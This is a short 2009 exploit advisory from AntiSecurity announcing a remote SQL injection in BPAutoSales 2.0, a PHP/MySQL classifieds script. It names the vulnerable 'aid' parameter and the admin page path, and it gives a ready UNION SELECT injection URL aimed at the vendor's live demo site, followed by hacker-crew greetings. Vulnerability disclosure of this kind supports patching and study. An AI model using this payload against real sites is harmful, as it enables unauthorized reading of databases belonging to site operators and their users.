BPAutoSales 2.0 SQL Injection

`[x]========================================================================================================================================[x]  
| AntiSecurity[dot]org |  
[x]========================================================================================================================================[x]  
| Title : BPAutoSales 2.0 Remote SQL Injection Vulnerabilities |  
| Software : BPAutosales |  
| Vendor : http://bpowerhouse.info |  
| Date : 22 September 2009 ( Indonesia ) |  
| Author : OoN_Boy |  
| Contact : [email protected] |  
| Web : http://oonboy.info |  
| Blog : http://oonboy.blogspot.com |  
[x]========================================================================================================================================[x]  
| Technology : PHP |  
| Database : MySQL |  
| Version : 2.0 |  
| License : GNU GPL |  
| Price : $48.89 |  
| Description : is a powerful, highly customizable classifieds script for auto sales sites. It is written in PHP with MySQL. |  
| Due to its easy manageable interface and its great amount of features it is an excellent choice if you need |  
| a cars, boats, or motorcycles classifieds website. |  
[x]========================================================================================================================================[x]  
| Google Dork : cari sendiri yah :) |  
[x]========================================================================================================================================[x]  
| Exploit : http://localhost/[path]/index.php?cmd=advertise_details&category=car&aid=[sql] |  
| Aadmin Page : http://localhost/[path]/admin/index.php |  
[x]========================================================================================================================================[x]  
| Proof of concept : http://www.bpowerhouse.com/demos/autosales/index.php?cmd=advertise_details&category=car&aid=-89+union+select+1,2, |  
| 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,version()-- |  
[x]========================================================================================================================================[x]  
| Greetz : antisecurity.org batamhacker.or.id |  
| Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va |  
| k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere |  
[x]========================================================================================================================================[x]  
| Note : Selamat hariraya idul fitri mohon maaf lahir dan batin, maafin kesalahan ku selama ini yah all :) |  
| kabur.... untuk sementara waktu.... bye bye..... |  
[x]========================================================================================================================================[x]`